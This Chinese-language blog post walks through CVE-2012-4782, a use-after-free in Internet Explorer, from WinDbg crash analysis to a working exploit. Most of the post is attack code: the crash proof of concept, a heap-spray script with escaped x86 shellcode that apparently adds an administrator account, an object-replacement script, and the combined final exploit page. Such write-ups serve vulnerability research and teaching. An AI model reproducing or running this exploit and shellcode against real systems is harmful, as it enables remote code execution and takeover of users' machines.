欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]CVE-2012-4782漏洞分析到EXP构造

[原创]CVE-2012-4782漏洞分析到EXP构造

前言 
Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, aka "CMarkup Use After Free Vulnerability."-来自 http://cve.mitre.org/ 报告指出,微软的 IE9 和 IE10 存在一个 UAF 漏洞,具体是指“CMarkup”对象释放后重 用问题,但我在分析的时候发现是 CButton 对象存在问题,通过构造恶意的文件,可能导致 远程执行任意代码。
测试环境 
操作系统:Windows 7 SP1 32 位 
浏览器:IE8.0.7601.17514 
漏洞验证 
首先,我在网上找到下面这个 POC:

<!doctype html>
<html>
<head>
<script>
        function helloWorld()
        {
                var e0 = null;
                var e1 = null;
                var e2 = null;
                try {
                        e0 = document.getElementById("a");
                        e1 = document.getElementById("b");
                        e2 = document.createElement("q");
                        e1.applyElement(e2);
                        alert(e1.parentNode);
                        e1.appendChild(document.createElement('button'));
                        e1.applyElement(e0);
                        e2.outerText = "";
                        e2.appendChild(document.createElement('body'));
                }
                catch(e)
                { }
                CollectGarbage();
        }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>

保存为 1.html,直接打开,浏览器崩溃了

漏洞分析 
由于这是一个UAF漏洞,所以在调试前先设置hpa,ust。方法是控制台切换windbg安装目录, 执行 gflags.exe /I ipxplore.exe +hpa +ust。下面开始调试,Windbg 附加 IE,打开上面的 POC:

Edi 是一个无效地址,导致了访问冲突。猜想 edi 应该是某个对象的地址 mov eax,dword ptr [edi] 那么这句汇编就是取出对象的虚表指针,为了加以确定,请看接下来的汇编: 

前面得到了虚表指针,下来那个 call 调用虚表偏移 0xDC 处的函数。由于之前设置了 ust, 用!heap –p –a edi 可以看到这个对象的操作: 

可以看到,是 button 对象释放后重用造成了访问冲突。接下来我们就要找到: 
>在哪创建了这个 button 对象 
>在哪释放了这个 button 对象 
>在哪重新使用已经释放的 button 对象 
第三个问题容易回答,就是 mov eax,dword ptr [edi] ds:0023:0c8cafa8=???????? 重用了 button 对象。那么,如何知道在哪创建和释放了对象?我一般会选择查看这个对象 的成员函数,根据直觉在相应函数下断,然后跟踪,对比。就这个例子来说,首先用 windbg 重新载入 IE,执行 x mshtml!CButton::* 可得 CButton 所有成员函数: 

注意标出来的两个,凭函数名和感觉猜测:
 CButton::CreateElement //创建 button 对象 
CButton::`scalar deleting destructor' //释放 button 对象 
对这两个函数下断点,打开 POC 

程序果真在 CreateElement 断下来,注意下面的 HeapAlloc,button 对象也是占用内存的,所 以它也需要先分配空间,而内存分配常用 HeapAlloc。所以在 6a369617 8bf0 mov esi,eax 下断,继续运行,第一次断下:

继续运行

下面有个HeapFree函数,该函数第三个参数是要释放的内存地址。在HeapFree 这个里下断, 继续运行: 

第三个参数是 0x0cf69fa8,而前面 HeapAlloc 返回的值也是 0x0cf69fa8。推测这两处就是分配 和释放点了。继续 g,就到了 button 对象重用的地方: 

这下更肯定了我们前面的猜测。到这里分配,释放,重用点我们都找到了。但是,这样的分 析似乎还不够,程序为什么创建了 button 对象?为什么又释放了 button 对象?为什么释放 后又重用了这个对象?带着这些问题,让我们重新审视前面的 POC: 
<!doctype html>
<html>
<head>
<script>
        function helloWorld()
        {
                var e0 = null;
                var e1 = null;
                var e2 = null;
                try {
                        e0 = document.getElementById("a");
                        e1 = document.getElementById("b");
                        e2 = document.createElement("q");
                        e1.applyElement(e2);
                        alert(e1.parentNode);
                        e1.appendChild(document.createElement('button'));
                        e1.applyElement(e0);
                        e2.outerText = "";
                        e2.appendChild(document.createElement('body'));
                }
                catch(e)
                { }
                CollectGarbage();
        }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>

载入文档的时候,会调用 helloword 函数。Helloworld 函数先定义三个变量,然后 
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");

相当于 e0==form,e1==dfn,e2==q。 接着 e1.applyElement(e2); applyElement 网上的解释是把 e2 作为 e1 的父亲,即 e2->e1。如 果你想验证一下,可以在用 alert(e1.parentNode);看看

此时对象的关系如下图 

接着 e1.appendChild(document.createElement('button'));

接着 e1.applyElement(e0); 

问题出现在 e2.outerText = "";这句代码会造成 button 对象释放和重用?我们来测试一下,稍 微改下原 POC: 
alert("button will be free!")
e2.outerText = "";
alert("button has been free!")
e2.appendChild(document.createElement('body'));

用 windbg 附加 IE,同样在 CButton::`scalar deleting destructor'下断,然后运行


e2.outerText = "";触发了 CButton::`scalar deleting destructor',由此可见是 e2.outerText = ""; 造成对象释放,e2.appendChild(document.createElement('body'));造成了 button 对象重用。至 于为什么是这样,《CVE-2012-4782 重新分析》已经解释的很详细了,可惜它没有讲怎么构造 一个可用的 POC,可用是指能执行我们想要执行的任意代码。下面我将尝试构造一个可用的 POC。
POC 构造 
构造的思路是这样的:button 对象既然被释放了,那么我们立刻申请同等大小的内存块覆盖 这个它,当 button 重用的时候,就被欺骗去使用我们构造的数据了。先看 69b7e1cb 8b07 mov eax,dword ptr [edi] ds:0023:0b727fa8=???????? …… 69b7e1e0 ff90dc000000 call dword ptr [eax+0DCh] Edi 是button 对象的地址,如果我把它第一个dword 改成0x0c0c0c0c,并且之前使用了spray, 使得程序很大的内存(包括 0x0c0c0c0c)都是 0c0c0c0c+shellcode 块。那么假设 eax+0xDC 也是 0x0c0c0c0c 的话,call dword ptr [eax+0DCh]就会去到 0x0c0c0c0c 地址处执行,如图: 

而且 0c 机器码不影响程序,所以会一直执行到 shellcode。所以下面分两步完成: 
>堆喷射(spray)
>分配相同大小的对象覆盖原 button 内存

我们先来做堆喷射:但是,我将不使用 0c0c0c0c 这个地址,确切的说,是因为我们有能找 到合适在 win7 IE8 下喷射到 0c0c0c0c 的脚本。所以下面我将使用 0x1c1c1c1c 这个地 址,0x1c1c1c1c+0xDC 同样保存 0x1c1c1c1c,所以最终 shellcode 会从 0x1c1c1c1c 开始执行。 这个脚本由改造:http://www.fuzzysecurity.com/tutorials/expDev/11.html。
<html>
<head></head>
<body>
<script>
//堆喷射
 //Fix BSTR spec
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }
 block_size = 0x1000;
 padding_size = 0x5FC; //offset to 0x0c0c0c0c inside our 0x1000 hex block
 Padding = '';
 NopSlide = '';
 var Shellcode =
unescape('\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u80
12\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348
b\u01af\u45c6\u3e81\u6957\u456e\uf275\u7a8b\u0124\u66c7\u2c8b\u8b6f\u1c7a%
uc701\u7c8b\ufcaf\uc701\u4b68\u6e33\u6801\u4220\u6f72\u2f68\u4441\u6844\u7
26f\u2073\u7468\u6172\u6874\u6e69\u7369\u2068\u6441\u686d\u6f72\u7075\u63
68\u6c61\u6867\u2074\u6f6c\u2668\u6e20\u6865\u4444\u2620\u6e68\u2f20\u684
1\u6f72\u334b\u3368\u206e\u6842\u7242\u4b6f\u7368\u7265\u6820\u7465\u7520
\u2f68\u2063\u686e\u7865\u2065\u6368\u646d\u892e\ufee5\u534d\uc031\u5550%
ud7ff');
 for (p = 0; p < padding_size; p++){
 Padding += unescape('?');}
 for (c = 0; c < block_size; c++){
 NopSlide += unescape('?');} //shellcode hou
 NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
 var OBJECT = Padding + Shellcode + NopSlide;
 OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
 var evil = new Array();
 for (var k = 0; k < 150; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
 alert('spray done !');
</script>
</body>
</html>

注意:由于%u会显示乱码,所以在使用时候改\u为%u即可,下面也是一样
保存为 2.html,在 WIN7 IE8 测试结果

第二个问题:分配相同大小的对象覆盖原 button 内存。但是 button 对象所占内存是多大呢? 还是用前面 1.html,在 CButton::CreateElement 下断,单步到 
call dword ptr [mshtml!_imp__HeapAlloc

该函数的第三个参数就是 button 对象的大小。

所以我将使用下面的脚本实施占位: 
<!doctype html>
<html>
<head>
<script>
 var arr_div = new Array();
 var junk=unescape("??");
 while (junk.length < (0x100- 6)/2)
 {
 junk+=junk;
 }
 function helloWorld() {
 var e0 = null;
 var e1 = null;
 var e2 = null;
 try {
 e0 = document.getElementById("a");
 e1 = document.getElementById("b");
 e2 = document.createElement("q");
 e1.applyElement(e2);
 e1.appendChild(document.createElement('button'));
 e1.applyElement(e0);
 e2.outerText = "";
 e2.appendChild(document.createElement('body'));
 } catch(e) { }
 CollectGarbage();
 for(var i = 0; i<0x150; i++)
 {
 arr_div[i]= document.createElement("div");
 arr_div[i].title= junk.substring(0,(0x58-6)/2);
 }
 }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

保存为 3.html,在 WIN7 IE8 下测试:

最后的工作是把 spray 和对象占位脚本合并,使得漏洞触发前先在 0x1c1c1c1c 布置我们的 shellcode,漏洞触发的时候用 0x1c1c1c1c 覆盖已经释放 button 对象的空间。控制 
69b7e1cb 8b07 mov eax,dword ptr [edi]

执行后 eax=0x1c1c1c1c,接着
69b7e1e0 ff90dc000000 call dword ptr [eax+0DCh]

[0x1c1c1c1c+0xdc]=0x1c1c1c1c,即 call 0x1c1c1c1c。所以最终的 EXP 如下: 
<!doctype html>
<html>
<head>
<script>
 //占位
 var arr_div = new Array();
 var junk=unescape("??");
 while (junk.length < (0x100- 6)/2)
 {
 junk+=junk;
 }
 //漏洞触发
 function helloWorld() {
 var e0 = null;
 var e1 = null;
 var e2 = null;
 try {
 e0 = document.getElementById("a");
 e1 = document.getElementById("b");
 e2 = document.createElement("q");
 e1.applyElement(e2);
 e1.appendChild(document.createElement('button'));
 e1.applyElement(e0);
 e2.outerText = "";
 e2.appendChild(document.createElement('body'));
 } catch(e) { }
 //对象占位
 CollectGarbage();
 for(var i = 0; i<0x150; i++)
 {
 arr_div[i]= document.createElement("div");
 arr_div[i].title= junk.substring(0,(0x58-6)/2);
 }
 //堆喷射
 function alloc(bytes, mystr) {
 while (mystr.length<bytes) mystr += mystr;
 return mystr.substr(0, (bytes-6)/2);
 }
 block_size = 0x1000;
 padding_size = 0x5FC;
 Padding = '';
 NopSlide = '';
 var Shellcode =
unescape('\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u80
12\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348
b\u01af\u45c6\u3e81\u6957\u456e\uf275\u7a8b\u0124\u66c7\u2c8b\u8b6f\u1c7a%
uc701\u7c8b\ufcaf\uc701\u4b68\u6e33\u6801\u4220\u6f72\u2f68\u4441\u6844\u7
26f\u2073\u7468\u6172\u6874\u6e69\u7369\u2068\u6441\u686d\u6f72\u7075\u63
68\u6c61\u6867\u2074\u6f6c\u2668\u6e20\u6865\u4444\u2620\u6e68\u2f20\u684
1\u6f72\u334b\u3368\u206e\u6842\u7242\u4b6f\u7368\u7265\u6820\u7465\u7520
\u2f68\u2063\u686e\u7865\u2065\u6368\u646d\u892e\ufee5\u534d\uc031\u5550%
ud7ff');
 for (p = 0; p < padding_size; p++){
 Padding += unescape('?');}
 for (c = 0; c < block_size; c++){
 NopSlide += unescape('?');} 
 NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
 var OBJECT = Padding + Shellcode + NopSlide;
 OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
 var evil = new Array();
 for (var k = 0; k < 150; k++) {
 evil[k] = OBJECT.substr(0, OBJECT.length);
 }
 }
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>



Shellcode 的调试我就不写了,毕竟 exp 就我写的,没啥好调试的。但是这里没考虑到 DEP, 如果有 DEP 保护的话,还需要构造 ROP 链,因为这里我们已经做到精确喷射了。绕过 DEP 其实也不难。 
总结 
在已有的漏洞分析文章上再次分析这个漏洞,并且成功构造出了 EXP。这个过程是很艰难的。 得到了仙果,流离两位大神的帮助,再次感谢!关于 UAF 的漏洞,还需要多学习,微软不 断推出保护,缓解机制。黑客们不断的在寻找新的突破,攻防还在继续,让我们拭目以待。

上传的附件 image1.png
image2.png
image3.png
image4.png
image5.png
image6.png
image7.png
image8.png
image9.png
image10.png
image11.png
image12.png
image13.png
image14.png
image15.png
image16.png
image17.png
image18.png
image19.png
image20.png
image21.png
image22.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功